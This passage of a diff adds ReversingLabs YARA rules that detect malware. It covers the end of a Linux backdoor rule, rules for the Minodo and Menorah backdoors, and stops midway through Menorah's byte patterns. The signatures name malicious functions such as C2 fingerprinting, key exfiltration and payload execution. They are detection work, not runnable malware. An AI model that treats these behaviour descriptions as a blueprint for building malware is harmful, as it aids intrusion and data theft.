+            ?? 80 7B ?? ?? 0F 84 ?? ?? ?? ?? 90 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 41 0F B6
+            EC 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 89 E8 48 8B 5C 24 ?? 48 8B 6C
+            24 ?? 4C 8B 64 24 ?? 48 83 C4 ?? C3
+        }
+		$persistence_mechanism_redhat_v11 = {
+            41 57 41 56 41 55 41 54 55 53 48 83 EC ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24
+            ?? 8B 7D ?? 4C 8D 7D ?? 81 C7 ?? ?? ?? ?? 48 63 FF E8 ?? ?? ?? ?? 48 89 C3 48 8D 7C
+            24 ?? 48 89 EE E8 ?? ?? ?? ?? 4C 8B 6C 24 ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 4C 8D 74
+            24 ?? 4C 89 EA E8 ?? ?? ?? ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 4C 89 F7 E8
+            ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 E9 4C 89 EA BE ??
+            ?? ?? ?? 48 89 DF 49 89 E9 4D 89 E8 31 C0 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 89 C4 B9
+            ?? ?? ?? ?? 89 C2 48 89 DE E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 DF BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89
+            DF E8 ?? ?? ?? ?? 4C 89 EA BE ?? ?? ?? ?? 48 89 DF 31 C0 48 8D 6C 24 ?? E8 ?? ?? ??
+            ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 48 89 EF E8 ?? ?? ?? ?? 48 89 E7 31 C9
+            BA ?? ?? ?? ?? 48 89 EE E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 41 BE ?? ?? ?? ?? 4C 8B 24 24
+            48 83 ED ?? 4C 39 F5 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 85
+            C0 0F 84 ?? ?? ?? ?? 48 89 DF 49 8D 5C 24 ?? E8 ?? ?? ?? ?? 49 39 DE 0F 85 ?? ?? ??
+            ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 49 8D 5D ?? 49 39 DE 0F 85
+            ?? ?? ?? ?? 49 81 FF ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41
+            5E 41 5F C3
+        }
+		$change_timestamp_and_read_config_v11 = {
+            55 53 48 83 EC ?? 48 8D 5C 24 ?? 48 89 E7 E8 ?? ?? ?? ?? 48 89 E6 48 89 DF E8 ?? ??
+            ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85
+            ?? ?? ?? ?? 48 89 E6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 BE ?? ?? ?? ?? 48 89
+            DF E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 C0 ?? 89 C5 29 DD 8D 7D ?? 48 63 FF E8 ?? ??
+            ?? ?? 48 63 D5 48 89 C3 48 89 C7 C6 04 02 ?? 48 8B 34 24 E8 ?? ?? ?? ?? 48 89 DF E8
+            ?? ?? ?? ?? 48 89 DE 48 89 C2 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ??
+            BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 B8 ?? ?? ??
+            ?? 48 83 EB ?? 48 39 D8 75 ?? 48 83 C4 ?? 5B 5D C3
+        }
+		$generate_machine_id_v11 = {
+            41 57 BE ?? ?? ?? ?? 49 89 FF 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 9C
+            24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ??
+            ?? 31 C9 BA ?? ?? ?? ?? 48 89 DE 4C 89 EF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41
+            BE ?? ?? ?? ?? 48 83 EB ?? 4C 39 F3 0F 85 ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8B
+            B4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 84 24
+            ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D 94 24 ??
+            ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 31 C9 BA ??
+            ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39
+            DE 0F 85 ?? ?? ?? ?? 48 89 EE 4C 89 E7 E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8D
+            BC 24 ?? ?? ?? ?? 48 8B 56 ?? E8 ?? ?? ?? ?? 31 FF 4C 8B AC 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C6 48 8D BC 24 ?? ?? ??
+            ?? F7 EA 89 F1 89 F5 C1 F9 ?? C1 FA ?? 29 CA 69 D2 ?? ?? ?? ?? 29 D5 E8 ?? ?? ?? ??
+            48 8B 9C 24 ?? ?? ?? ?? 41 89 E8 31 C0 4C 89 E9 BE ?? ?? ?? ?? 48 89 E7 48 89 DA 48
+            83 EB ?? E8 ?? ?? ?? ?? 49 39 DE 89 C5 0F 85 ?? ?? ?? ?? 48 63 C5 48 8D 94 24 ?? ??
+            ?? ?? 48 8D BC 24 ?? ?? ?? ?? C6 04 04 ?? 48 89 E6 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ??
+            ?? ?? 48 89 E6 4C 89 FF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE
+            0F 85 ?? ?? ?? ?? 49 8D 5D ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48
+            83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE 0F
+            85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 81
+            C4 ?? ?? ?? ?? 4C 89 F8 5B 5D 41 5C 41 5D 41 5E 41 5F C3
+        }
+		$persistence_mechanism_redhat_v7 = {
+            48 89 6C 24 ?? 4C 89 7C 24 ?? 48 89 5C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 4C 89 74
+            24 ?? 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 8B 7D ?? 4C
+            8D 7D ?? 81 C7 ?? ?? ?? ?? 48 63 FF E8 ?? ?? ?? ?? 48 89 C3 48 8D 7C 24 ?? 48 89 EE
+            E8 ?? ?? ?? ?? 4C 8B 64 24 ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 4C 8D 74 24 ?? 4C 89 E2
+            E8 ?? ?? ?? ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 4C 89 F7 E8 ?? ?? ?? ?? 48
+            8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 E1 4C 89 E2 BE ?? ?? ?? ?? 48 89
+            DF 49 89 E9 4D 89 E0 31 C0 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 89 C5 B9 ?? ?? ?? ?? 89
+            C2 48 89 DE E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? 48 8B 54 24 ?? 48 89 DF BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ??
+            ?? 4C 89 E2 BE ?? ?? ?? ?? 48 89 DF 31 C0 E8 ?? ?? ?? ?? 48 98 48 89 E7 31 C9 C6 04
+            18 ?? BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 8B 2C 24 BE ?? ?? ?? ?? 48 89 EF E8
+            ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 DF 48 8D 5D ?? BD ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 48 39 EB 0F 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 39 DD 0F 85 ?? ?? ??
+            ?? 49 8D 5C 24 ?? 48 39 DD 0F 85 ?? ?? ?? ?? 49 81 FF ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
+            48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B B4 24 ??
+            ?? ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3
+        }
+		$get_device_name_v7 = {
+            48 89 5C 24 ?? 48 89 6C 24 ?? BE ?? ?? ?? ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? B9 ?? ??
+            ?? ?? 4C 89 74 24 ?? 48 81 EC ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8D 5C 24 ?? BA ??
+            ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 5C 24
+            ?? 41 BD ?? ?? ?? ?? 48 83 EB ?? 4C 39 EB 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48
+            83 78 ?? ?? 75 ?? 48 8D 5C 24 ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ??
+            ?? 48 8B 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ??
+            E8 ?? ?? ?? ?? 4C 8B 64 24 ?? 48 89 E7 E8 ?? ?? ?? ?? 48 8B 2C 24 48 8D 5C 24 ?? 41
+            B8 ?? ?? ?? ?? 4C 89 E2 BE ?? ?? ?? ?? 31 C0 48 89 DF 48 89 E9 E8 ?? ?? ?? ?? 48 89
+            DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 8D 5D ?? 49 39 DD 0F 85 ?? ?? ?? ?? 49 8D 5C 24 ?? 49 39 DD 0F
+            85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 4C 8B B4
+            24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3
+        }
+		$generate_machine_id_v7 = {
+            41 57 31 C9 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 49 89 FF 41 56 41 55 41 54 55 53 48 81 EC
+            ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ??
+            48 8B B4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B
+            84 24 ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 31 C9 BA
+            ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ??
+            48 8B B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 8B 56 ?? E8 ?? ?? ?? ?? 31 FF 4C
+            8B B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ??
+            ?? 89 C6 48 8D BC 24 ?? ?? ?? ?? F7 EA 89 F1 89 F5 C1 F9 ?? C1 FA ?? 29 CA 69 D2 ??
+            ?? ?? ?? 29 D5 E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 89 E8 31 C0 4C 89 F1 BE ??
+            ?? ?? ?? 48 89 E7 41 BD ?? ?? ?? ?? 48 89 DA 48 83 EB ?? E8 ?? ?? ?? ?? 4C 39 EB 89
+            C5 0F 85 ?? ?? ?? ?? 48 63 C5 48 8D 94 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? C6 04
+            04 ?? 48 89 E6 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 E6 4C 89 FF E8 ?? ?? ??
+            ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 49 8D 5E ?? 49 39
+            DD 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ??
+            48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ??
+            ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 4C 89 F8 5B 5D 41 5C
+            41 5D 41 5E 41 5F C3
+        }
+
+	condition:
+		uint32(0)==0x464C457F and (($persistence_mechanism_ubuntu) and ( all of ($network_communication_*)) and ((($change_timestamp_and_read_config_v11) and ($persistence_mechanism_redhat_v11) and ($generate_machine_id_v11)) or (($persistence_mechanism_redhat_v7) and ($get_device_name_v7) and ($generate_machine_id_v7))))
+}
+rule REVERSINGLABS_Win32_Backdoor_Minodo : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Minodo backdoor."
+		author = "ReversingLabs"
+		id = "0eeff863-1a46-5b25-8780-5cd887e3b1e2"
+		date = "2023-06-07"
+		modified = "2023-06-07"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/Win64.Backdoor.Minodo.yara#L1-L110"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "807408699fe00c8d1170598050e533dd0d79bb170f2538b6b6227cda7410060b"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "Minodo"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$generate_system_id = {
+            40 55 53 56 57 41 56 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? 4C 8B F1 48 8D 55 ?? 48 8D
+            4D ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 DB 85 C0 75 ?? 66 C7 45 ?? ?? ?? 4C
+            8D 45 ?? 48 8D 55 ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75
+            ?? 66 C7 45 ?? ?? ?? 48 83 4D ?? ?? 4C 8D 4D ?? 4C 8D 45 ?? 8B CB 48 8B D3 BE ?? ??
+            ?? ?? 48 85 D2 7E ?? 44 8A 54 15 ?? EB ?? 44 8A 95 ?? ?? ?? ?? 41 8A 01 49 FF C1 48
+            FF C2 32 44 15 ?? 41 32 C2 41 32 00 49 FF C0 88 44 15 ?? 41 38 19 75 ?? 83 C9 ?? 4C
+            8D 4D ?? 41 38 18 75 ?? 83 C9 ?? 4C 8D 45 ?? 48 3B D6 75 ?? 83 C9 ?? 48 8B D3 83 F9
+            ?? 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? FF 15 ?? ?? ?? ?? 48 8D 5D ?? 49 8B FE 44
+            0F B6 03 48 8D 55 ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 83 C7 ?? 48 FF C3 48 FF CE 75 ??
+            FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? 8B D8 FF 15 ?? ?? ?? ?? 48 8D 55
+            ?? 44 8B CB 4D 8B C6 49 8B CE FF 15 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5E 5F 5E 5B
+            5D C3
+        }
+		$generate_encrypt_and_send_key = {
+            48 8B C4 48 89 58 ?? 48 89 68 ?? 48 89 70 ?? 48 89 78 ?? 41 56 48 81 EC ?? ?? ?? ??
+            8B F2 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 40 ?? 48 8B 08 8B 09
+            E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 45 33 C0 45 8D 70 ?? 41 8D 50 ?? 41 8B CE E8
+            ?? ?? ?? ?? 48 8B D8 83 F8 ?? 74 ?? 41 8D 6E ?? 48 8D 44 24 ?? 8B CD C6 00 ?? 48 FF
+            C0 48 FF C9 75 ?? 0F B7 CE 66 44 89 74 24 ?? E8 ?? ?? ?? ?? 48 8B CF 66 89 44 24 ??
+            E8 ?? ?? ?? ?? 48 63 FB 48 8D 54 24 ?? 48 8B CF 44 8B C5 89 44 24 ?? E8 ?? ?? ?? ??
+            85 C0 74 ?? 48 8B CF E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 2D ?? ?? ?? ?? BE ?? ?? ??
+            ?? 48 8B CD 8B D6 E8 ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 33 C9 8A 44 29 ?? 48 FF C9 88
+            44 0C ?? 48 FF CE 75 ?? 8D 56 ?? 44 8D 46 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B CF
+            8B F0 85 C0 74 ?? 48 8D 54 24 ?? 45 33 C9 44 8B C0 E8 ?? ?? ?? ?? 3B C6 74 ?? 48 8B
+            CF E8 ?? ?? ?? ?? 33 DB 8B C3 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 6B ?? 49 8B
+            73 ?? 49 8B 7B ?? 49 8B E3 41 5E C3
+        }
+		$get_encrypt_and_send_system_info = {
+            48 89 5C 24 ?? 48 89 74 24 ?? 48 89 7C 24 ?? 55 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ??
+            8B F1 48 8B CA 48 8B DA FF 15 ?? ?? ?? ?? C6 44 24 ?? ?? 48 63 F8 40 88 7C 24 ?? 4C
+            8B C7 85 C0 74 ?? 48 8D 44 24 ?? 48 2B D8 48 8D 4C 24 ?? 49 FF C8 4A 8D 0C 01 8A 04
+            0B 88 01 75 ?? 83 C7 ?? 48 63 DF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? F6 D8 48 8D 45 ?? 1A
+            C9 80 E1 ?? 80 C9 ?? FF C7 88 4C 1C ?? 8B CA C6 00 ?? 48 FF C0 48 FF C9 75 ?? 48 8D
+            4D ?? 89 55 ?? FF 15 ?? ?? ?? ?? 8A 45 ?? 48 63 CF 88 44 0C ?? 8A 45 ?? FF C7 48 63
+            CF FF C7 BB ?? ?? ?? ?? 88 44 0C ?? 8A 45 ?? 48 63 CF 88 44 0C ?? 8A 45 ?? FF C7 48
+            63 CF FF C7 4C 8D 85 ?? ?? ?? ?? 88 44 0C ?? 8A 45 ?? 48 63 D7 88 44 14 ?? 8B 45 ??
+            FF C7 48 63 D7 8D 4B ?? C6 44 24 ?? ?? 89 44 14 ?? 48 8D 54 24 ?? 83 C7 ?? 89 9D ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 44 8B C0 8D 48 ?? 03 CF
+            48 63 D1 48 83 FA ?? 76 ?? 44 8D 43 ?? 44 2B C7 48 63 C7 FF C7 4C 8D 54 24 ?? 44 88
+            44 04 ?? 48 63 C7 49 63 D0 4C 03 D0 45 85 C0 74 ?? 4C 8D 4C 24 ?? 4A 8D 0C 12 4D 2B
+            CA 48 FF C9 41 8A 04 09 88 01 48 FF CA 75 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? 41
+            03 F8 C6 44 24 ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ??
+            ?? ?? 44 8B C0 8D 48 ?? 03 CF 48 63 D1 48 83 FA ?? 76 ?? 41 B8 ?? ?? ?? ?? 44 2B C7
+            48 63 C7 FF C7 4C 8D 54 24 ?? 44 88 44 04 ?? 48 63 C7 49 63 D0 4C 03 D0 45 85 C0 74
+            ?? 4C 8D 4C 24 ?? 4A 8D 0C 12 4D 2B CA 48 FF C9 42 8A 04 09 88 01 48 FF CA 75 ?? 4C
+            8D 4C 24 ?? 48 8D 54 24 ?? 44 03 C7 8B CE E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49
+            8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 5D C3
+        }
+		$copy_payload_into_allocated_memory = {
+            48 89 5C 24 ?? 48 89 6C 24 ?? 56 57 41 56 48 83 EC ?? 49 8B D8 48 63 F2 48 8B F9 41
+            C6 00 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 66 C7 03 ?? ?? B8 ?? ??
+            ?? ?? E9 ?? ?? ?? ?? 4C 8D 4C 24 ?? 4C 8D 44 24 ?? 48 8B D3 48 8B CF E8 ?? ?? ?? ??
+            8B E8 85 C0 74 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D6 33 C9 4C 8B F6 FF 15
+            ?? ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 66 C7 03 ?? ?? FF 15 ?? ?? ?? ?? 89 43 ?? 8D 46
+            ?? EB ?? 4D 8B C6 48 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 83 64 24 ?? ??
+            4C 8D 04 2E 45 33 C9 33 D2 33 C9 FF 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 8B 44
+            24 ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 48 83 C4 ?? 41 5E 5F 5E C3
+        }
+		$execute_payload_from_temp = {
+            40 53 48 81 EC ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 4C 8B D1 48 8D 44 24 ?? 41 8B D0 33 DB
+            88 18 48 FF C0 48 FF CA 75 ?? 48 8D 44 24 ?? 8D 4A ?? 88 18 48 FF C0 48 FF C9 75 ??
+            48 8D 44 24 ?? 44 89 44 24 ?? 45 33 C9 48 89 44 24 ?? 48 8D 44 24 ?? 45 33 C0 48 89
+            44 24 ?? 48 89 5C 24 ?? 48 89 5C 24 ?? 49 8B D2 89 5C 24 ?? C7 84 24 ?? ?? ?? ?? ??
+            ?? ?? ?? 89 5C 24 ?? 66 89 9C 24 ?? ?? 00 00 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C
+            24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B0 ?? EB ?? 32 C0 48 81 C4
+            ?? ?? ?? ?? 5B C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($generate_system_id) and ($generate_encrypt_and_send_key) and ($get_encrypt_and_send_system_info) and ($copy_payload_into_allocated_memory) and ($execute_payload_from_temp)
+}
+rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Menorah : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Menorah backdoor."
+		author = "ReversingLabs"
+		id = "4f13a6c6-bd97-58aa-ac3b-399866b5c63b"
+		date = "2024-05-10"
+		modified = "2024-05-10"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/ByteCode.MSIL.Backdoor.Menorah.yara#L1-L169"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "770aefca192ceb3a778c0b1259105ace8e64cb35d0c34acb15c45fb6f22ad94b"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "Menorah"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$send_fingerprint_to_c2_p1 = {
+            28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A
+            73 ?? ?? ?? ?? 19 1F 0E 6F ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 1F 5B 13 ?? 12 ?? 28 ?? ??
+            ?? ?? 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 5D 13 ??
+            12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 1F 5B 13 ?? 12 ?? 28 ??
+            ?? ?? ?? A2 25 17 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 06 A2 25 19 1F 40 13 ??
+            12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 5D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 0D 1F 3F 13 ?? 12
+            ?? 28 ?? ?? ?? ?? 17 16 28 ?? ?? ?? ?? 1F 3D 13 ?? 12 ?? 28 ?? ?? ?? ?? 17 16 28 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 03 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 74 ?? ?? ?? ??
+            13 ?? 11 ?? 1F 50 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 4F 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 53
+            13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 54 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 11 ?? 1F 21 8D ?? ?? ?? ?? 25 16 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F
+            70 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 70 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F
+            6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F
+            63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F
+            74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09
+        }
+		$send_fingerprint_to_c2_p2 = {
+            1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25
+            1F 0B 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 78 13 ?? 12 ?? 28 ?? ?? ?? ??
+            A2 25 1F 0D 1F 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 77 13 ?? 12 ?? 28 ?? ??
+            ?? ?? A2 25 1F 0F 1F 77 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 77 13 ?? 12 ?? 28
+            ?? ?? ?? ?? A2 25 1F 11 1F 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 66 13 ?? 12
+            ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F 72 13
+            ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 16 1F
+            2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 17 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F
